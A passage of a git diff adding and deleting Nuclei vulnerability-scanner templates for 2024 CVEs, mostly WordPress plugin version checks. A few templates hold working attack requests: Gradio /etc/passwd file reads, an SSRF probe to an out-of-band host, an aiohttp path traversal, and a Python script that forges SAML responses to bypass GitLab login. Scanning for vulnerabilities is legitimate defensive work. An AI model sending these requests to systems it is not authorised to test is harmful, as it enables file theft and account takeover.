CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-10390 + metadata: + fofa-query: "wp-content/plugins/elfsight-telegram-chat-cc/" + google-query: inurl:"/wp-content/plugins/elfsight-telegram-chat-cc/" + shodan-query: 'vuln:CVE-2024-10390' + tags: cve,wordpress,wp-plugin,elfsight-telegram-chat-cc,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/elfsight-telegram-chat-cc/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "elfsight-telegram-chat-cc" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.1.0') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-10486.yaml b/nuclei-templates/CVE-2024/CVE-2024-10486.yaml new file mode 100644 index 0000000000..b846c59b6f --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-10486.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-10486 + +info: + name: > + Google for WooCommerce <= 2.8.6 - Information Disclosure via Publicly Accessible PHP Info File + author: topscoder + severity: medium + description: > + The Google for WooCommerce plugin for WordPress is vulnerable to Information Disclosure in all versions up to, and including, 2.8.6. This is due to publicly accessible print_php_information.php file. This makes it possible for unauthenticated attackers to retrieve information about Webserver and PHP configuration, which can be used to aid other attacks. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/64bc7d47-6b63-4fd9-85d4-82126f86308a?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2024-10486 + metadata: + fofa-query: "wp-content/plugins/google-listings-and-ads/" + google-query: inurl:"/wp-content/plugins/google-listings-and-ads/" + shodan-query: 'vuln:CVE-2024-10486' + tags: cve,wordpress,wp-plugin,google-listings-and-ads,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/google-listings-and-ads/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "google-listings-and-ads" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.8.6') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-11036.yaml b/nuclei-templates/CVE-2024/CVE-2024-11036.yaml new file mode 100644 index 0000000000..8b2cf2fff2 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-11036.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-11036 + +info: + name: > + GamiPress – The #1 gamification plugin to reward points, achievements, badges & ranks in WordPress <= 7.1.5 - Unauthenticated Arbitrary Shortcode Execution via gamipress_get_user_earnings + author: topscoder + severity: high + description: > + The The GamiPress – The #1 gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to arbitrary shortcode execution via gamipress_get_user_earnings AJAX action in all versions up to, and including, 7.1.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/bad0cd3f-88ea-4a1d-b400-0a450b07a546?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L + cvss-score: 7.3 + cve-id: CVE-2024-11036 + metadata: + fofa-query: "wp-content/plugins/gamipress/" + google-query: inurl:"/wp-content/plugins/gamipress/" + shodan-query: 'vuln:CVE-2024-11036' + tags: cve,wordpress,wp-plugin,gamipress,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/gamipress/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "gamipress" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 7.1.5') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-11038.yaml b/nuclei-templates/CVE-2024/CVE-2024-11038.yaml new file mode 100644 index 0000000000..a7a2d61674 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-11038.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-11038 + +info: + name: > + WPB Popup for Contact Form 7 – Showing The Contact Form 7 Popup on Button Click – CF7 Popup <= 1.7.5 - Unauthenticated Arbitrary Shortcode Execution via wpb_pcf_fire_contact_form + author: topscoder + severity: high + description: > + The The WPB Popup for Contact Form 7 – Showing The Contact Form 7 Popup on Button Click – CF7 Popup plugin for WordPress is vulnerable to arbitrary shortcode execution via wpb_pcf_fire_contact_form AJAX action in all versions up to, and including, 1.7.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/a7faa800-3b29-4b79-8b94-1e7985acb50d?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L + cvss-score: 7.3 + cve-id: CVE-2024-11038 + metadata: + fofa-query: "wp-content/plugins/wpb-popup-for-contact-form-7/" + google-query: inurl:"/wp-content/plugins/wpb-popup-for-contact-form-7/" + shodan-query: 'vuln:CVE-2024-11038' + tags: cve,wordpress,wp-plugin,wpb-popup-for-contact-form-7,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wpb-popup-for-contact-form-7/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wpb-popup-for-contact-form-7" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.7.5') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-11069.yaml b/nuclei-templates/CVE-2024/CVE-2024-11069.yaml new file mode 100644 index 0000000000..e3b8cecefa --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-11069.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-11069 + +info: + name: > + WordPress GDPR <= 2.0.2 - Missing Authorization to Unauthenticated Arbitrary User Deletion + author: topscoder + severity: high + description: > + The WordPress GDPR plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'WordPress_GDPR_Data_Delete::check_action' function in all versions up to, and including, 2.0.2. This makes it possible for unauthenticated attackers to delete arbitrary users. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/a089026a-5da9-467c-a1e4-622bb74363e2?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L + cvss-score: 6.5 + cve-id: CVE-2024-11069 + metadata: + fofa-query: "wp-content/plugins/wordpress-gdpr/" + google-query: inurl:"/wp-content/plugins/wordpress-gdpr/" + shodan-query: 'vuln:CVE-2024-11069' + tags: cve,wordpress,wp-plugin,wordpress-gdpr,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wordpress-gdpr/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wordpress-gdpr" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.2') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-11098.yaml b/nuclei-templates/CVE-2024/CVE-2024-11098.yaml new file mode 100644 index 0000000000..378faf7e76 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-11098.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-11098 + +info: + name: > + SVG Block <= 1.1.24 - Authenticated (Administrator+) Stored Cross-Site Scripting via SVG File Upload + author: topscoder + severity: low + description: > + The SVG Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via REST API SVG File uploads in all versions up to, and including, 1.1.24 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/79cc1f11-9b53-4e71-b0cc-8f8ebd4a5f32?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 5.5 + cve-id: CVE-2024-11098 + metadata: + fofa-query: "wp-content/plugins/svg-block/" + google-query: inurl:"/wp-content/plugins/svg-block/" + shodan-query: 'vuln:CVE-2024-11098' + tags: cve,wordpress,wp-plugin,svg-block,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/svg-block/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "svg-block" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.1.24') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-11194.yaml b/nuclei-templates/CVE-2024/CVE-2024-11194.yaml new file mode 100644 index 0000000000..d74c870a5c --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-11194.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-11194 + +info: + name: > + Classified Listing – Classified ads & Business Directory Plugin <= 3.1.15.1 - Authenticated (Subscriber+) Limited Arbitrary Option Update + author: topscoder + severity: low + description: > + The Classified Listing – Classified ads & Business Directory Plugin plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a misconfigured check on the 'rtcl_import_settings' function in all versions up to, and including, 3.1.15.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update limited arbitrary options on the WordPress site. This can be leveraged to update the Subscriber role with Administrator-level capabilities to gain administrative user access to a vulnerable site. The vulnerability is limited in that the option updated must have a value that is an array. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/13d9a59f-1a1a-4936-a5ab-8a5e0c50303b?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2024-11194 + metadata: + fofa-query: "wp-content/plugins/classified-listing/" + google-query: inurl:"/wp-content/plugins/classified-listing/" + shodan-query: 'vuln:CVE-2024-11194' + tags: cve,wordpress,wp-plugin,classified-listing,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/classified-listing/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "classified-listing" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 3.1.15.1') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-11195.yaml b/nuclei-templates/CVE-2024/CVE-2024-11195.yaml new file mode 100644 index 0000000000..0036f3729d --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-11195.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-11195 + +info: + name: > + Email Subscription Popup <= 1.2.22 - Authenticated (Contributor+) Stored Cross-Site Scripting via print_email_subscribe_form Shortcode + author: topscoder + severity: low + description: > + The Email Subscription Popup plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's print_email_subscribe_form shortcode in all versions up to, and including, 1.2.22 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f8c18b0d-15fe-45d6-9915-85d38803c117?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-11195 + metadata: + fofa-query: "wp-content/plugins/email-subscribe/" + google-query: inurl:"/wp-content/plugins/email-subscribe/" + shodan-query: 'vuln:CVE-2024-11195' + tags: cve,wordpress,wp-plugin,email-subscribe,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/email-subscribe/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "email-subscribe" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2.22') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-11198.yaml b/nuclei-templates/CVE-2024/CVE-2024-11198.yaml new file mode 100644 index 0000000000..1b10e66b40 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-11198.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-11198 + +info: + name: > + GD Rating System <= 3.6.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via extra_class Parameter + author: topscoder + severity: low + description: > + The GD Rating System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘extra_class’ parameter in all versions up to, and including, 3.6.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/66cad18d-a433-47f1-9cb6-c619c8717a0d?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-11198 + metadata: + fofa-query: "wp-content/plugins/gd-rating-system/" + google-query: inurl:"/wp-content/plugins/gd-rating-system/" + shodan-query: 'vuln:CVE-2024-11198' + tags: cve,wordpress,wp-plugin,gd-rating-system,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/gd-rating-system/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "gd-rating-system" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 3.6.1') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-11224.yaml b/nuclei-templates/CVE-2024/CVE-2024-11224.yaml new file mode 100644 index 0000000000..c91a608f46 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-11224.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-11224 + +info: + name: > + Parallax Image <= 1.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via position Parameter + author: topscoder + severity: low + description: > + The Parallax Image plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘position’ parameter in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/56e5f7c9-ad22-43b3-9bfe-0eea1f8040d3?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-11224 + metadata: + fofa-query: "wp-content/plugins/parallax-image/" + google-query: inurl:"/wp-content/plugins/parallax-image/" + shodan-query: 'vuln:CVE-2024-11224' + tags: cve,wordpress,wp-plugin,parallax-image,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/parallax-image/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "parallax-image" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.9') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-1183.yaml b/nuclei-templates/CVE-2024/CVE-2024-1183.yaml new file mode 100644 index 0000000000..c4e19446e2 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-1183.yaml @@ -0,0 +1,36 @@ +id: CVE-2024-1183 + +info: + name: Gradio - Server Side Request Forgery + author: DhiyaneshDK + severity: medium + description: | + An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response. + reference: + - https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4 + - https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N + cvss-score: 6.5 + cve-id: CVE-2024-1183 + cwe-id: CWE-601 + epss-score: 0.00061 + epss-percentile: 0.24702 + metadata: + verified: true + max-request: 1 + shodan-query: html:"__gradio_mode__" + tags: cve,cve2024,ssrf,oast,gradio + +http: + - raw: + - | + GET /file=http://oast.pro HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$' + part: header +# digest: 4a0a004730450221008fa9c24b03fedb13e37837ad2730bc20d6d973ad45a2d74dd82193fb651172c5022057ad36fe5c2c8f0f555f7106c808470d5cfc40e96a168c822c4cc96f1183df15:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-1561.yaml b/nuclei-templates/CVE-2024/CVE-2024-1561.yaml new file mode 100644 index 0000000000..47e8ac9ba2 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-1561.yaml @@ -0,0 +1,82 @@ +id: CVE-2024-1561 + +info: + name: CVE-2024-1561 + author: Diablo + description: | + Local file read by calling arbitrary methods of Components class + severity: HIGH + + impact: | + Successful exploitation of this vulnerability could allow an attacker to read files on the server + + remediation: | + Update to Gradio 4.13.0 + + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2024-1561 + + reference: + - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338 + - https://github.com/DiabloHTB/CVE-2024-1561 + - https://nvd.nist.gov/vuln/detail/CVE-2024-1561 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1561 + + metadata: + max-request: 1 + vendor: Gradio + product: https://github.com/gradio-app/gradio + tags: cve,cve2024,intrusive,unauth,gradio,path-traversal + + +http: + - raw: + - | + GET /config HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: json + name: first-component + part: body + group: 1 + json: + - '.components[0].id' + internal: true + + - raw: + - | + POST /component_server HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"component_id": "{{first-component}}", + "data": "/etc/passwd", + "fn_name": "move_resource_to_block_cache", + "session_hash": "aaaaaaaaaaa"} + + extractors: + - type: regex + name: tmpath + regex: + - "/(?P[a-fA-F0-9]+)/" + internal: true + + + - raw: + - | + GET /file=/tmp/gradio{{tmpath}}passwd HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: regex + regex: + - "root:[x*]:0:0:" + part: body + + + + + \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-1728.yaml b/nuclei-templates/CVE-2024/CVE-2024-1728.yaml new file mode 100644 index 0000000000..53d23c1294 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-1728.yaml @@ -0,0 +1,42 @@ +id: CVE-2024-1728 +info: + name: gradio4.18.0 + author: may + severity: High + description: path traversal. Every Gradio instance utilizing the UploadButton component is vulnerable to a local file inclusion vulnerability that gives attackers the ability to read any arbitrary file on the filesystem. + reference: + - https://huntr.com/bounties/9bb33b71-7995-425d-91cc-2c2a2f2a068a + - https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7 + classification: + cve-id: CVE-2024-1728 + cwe-id: CWE-22 + tags: gradio + +http: + - raw: + - | + POST /queue/join? HTTP/1.1 + Host: {{Hostname}} + + { + "data": [ + [ + { + "path":"/etc/passwd", + "url": "http://10.160.167.54:7860/file=/etc/passwd", + "orig_name":"passwd", + "size":6, + "mime_type":"" + } + ] + ], + "event_data":null, + "fn_index":0, + "trigger_id":2, + "session_hash":"hu6na4f3d08" + } + + matchers: + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-23334.yaml b/nuclei-templates/CVE-2024/CVE-2024-23334.yaml deleted file mode 100644 index 3f519c6317..0000000000 --- a/nuclei-templates/CVE-2024/CVE-2024-23334.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2024-23334 -info: - name: aiohttp - author: weehhd - severity: medium - description: aiohttp路径遍历漏洞(CVE-2024-23334) - reference: - - https:// - tags: tags -http: - - raw: - - |+ - GET /static/../../../../../../etc/passwd HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 - Accept: */* - Accept-Encoding: gzip, deflate, br - Accept-Language: zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7 - Connection: close - - matchers-condition: and - matchers: - - type: word - part: body - words: - - root - - type: word - part: header - words: - - 200 OK diff --git a/nuclei-templates/CVE-2024/CVE-2024-45409.yaml b/nuclei-templates/CVE-2024/CVE-2024-45409.yaml deleted file mode 100644 index 0b4119d81c..0000000000 --- a/nuclei-templates/CVE-2024/CVE-2024-45409.yaml +++ /dev/null @@ -1,124 +0,0 @@ -id: CVE-2024-45409 - -info: - name: GitLab - SAML Authentication Bypass - author: iamnoooob,rootxharsh,pdresearch - severity: critical - description: | - The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response. - impact: | - An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system. - remediation: | - This vulnerability is fixed in 1.17.0 and 1.12.3. - reference: - - https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/ - - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq - - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2 - - https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2024-45409 - cwe-id: CWE-347 - metadata: - verified: true - shodan-query: http.title:"GitLab" - product: gitlab - vendor: gitlab - tags: cve,cve2024,saml,auth-bypass,gitlab,code - -code: - - engine: - - py - - python3 # requires python to be pre-installed on system running nuclei - source: | - try: - from lxml import etree - except ImportError: - raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.") - import hashlib,os - import base64 - from datetime import datetime, timedelta - import urllib.parse - import requests - username = os.getenv('username') - if not username: - username='admin@example.com' - saml_response = os.getenv('SAMLResponse') - xml_content = base64.b64decode(urllib.parse.unquote(saml_response)) - parser = etree.XMLParser(remove_blank_text=True) - root = etree.fromstring(xml_content, parser) - - namespaces = { - 'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol', - 'saml': 'urn:oasis:names:tc:SAML:2.0:assertion', - 'ds': 'http://www.w3.org/2000/09/xmldsig#' - } - - response_signature = root.find('./ds:Signature', namespaces) - if response_signature is not None: - root.remove(response_signature) - - nameid = root.find( - './/saml:NameID', - namespaces - ) - if nameid is not None: - nameid.text = username - - attribute_values = root.findall('.//saml:AttributeValue', namespaces) - for attr_value in attribute_values: - attr_value.text = username - - assertion = root.find('.//saml:Assertion', namespaces) - if assertion is not None: - # Create a deep copy of the assertion for digest calculation - assertion_copy = etree.fromstring(etree.tostring(assertion)) - signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces) - if signature_in_assertion is not None: - signature_in_assertion.getparent().remove(signature_in_assertion) - canonicalized_assertion = etree.tostring( - assertion_copy, method='c14n', exclusive=True, with_comments=False - ) - digest = hashlib.sha256(canonicalized_assertion).digest() - digest_value = base64.b64encode(digest).decode() - else: - digest_value = '' - - issuer = root.find('.//saml:Issuer', namespaces) - if issuer is not None: - parent = issuer.getparent() - index = parent.index(issuer) - extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions') - digest_element = etree.SubElement( - extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue' - ) - digest_element.text = digest_value - parent.insert(index + 1, extensions) - - malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring( - root, pretty_print=False, xml_declaration=True, encoding='UTF-8' - )))) - print(malformed_samlresponse) - -http: - - raw: - - | - POST /users/auth/saml/callback HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - RelayState=undefined&SAMLResponse={{code_response}} - - matchers: - - type: dsl - dsl: - - 'contains(header,"known_sign_in")' - - 'status_code == 302' - condition: and - - extractors: - - type: kval - kval: - - _gitlab_session -# digest: 4b0a00483046022100aac3014dc61bab8223d36c1bd10f19aa4886b33778e2b16cf891fce7f7c24bee022100a42cd0b25c8f4a54304541ca26f508284772b55881c43962eb396092205425ff:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2024/cve-2024-6966.yaml b/nuclei-templates/CVE-2024/CVE-2024-6966.yaml similarity index 100% rename from nuclei-templates/CVE-2024/cve-2024-6966.yaml rename to nuclei-templates/CVE-2024/CVE-2024-6966.yaml diff --git a/nuclei-templates/CVE-2024/CVE-2024-9777.yaml b/nuclei-templates/CVE-2024/CVE-2024-9777.yaml new file mode 100644 index 0000000000..76d2e1a37d --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-9777.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-9777 + +info: + name: > + Ashe <= 2.243 - Reflected Cross-Site Scripting via add_query_arg Parameter + author: topscoder + severity: medium + description: > + The Ashe theme for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 2.243. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/ce6c2f36-9eed-482f-9201-8d26e8c5c369?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2024-9777 + metadata: + fofa-query: "wp-content/themes/ashe/" + google-query: inurl:"/wp-content/themes/ashe/" + shodan-query: 'vuln:CVE-2024-9777' + tags: cve,wordpress,wp-theme,ashe,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/themes/ashe/style.css" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Version: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Version: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "ashe" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.243') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-9830.yaml b/nuclei-templates/CVE-2024/CVE-2024-9830.yaml new file mode 100644 index 0000000000..d0f6c1e8f1 --- 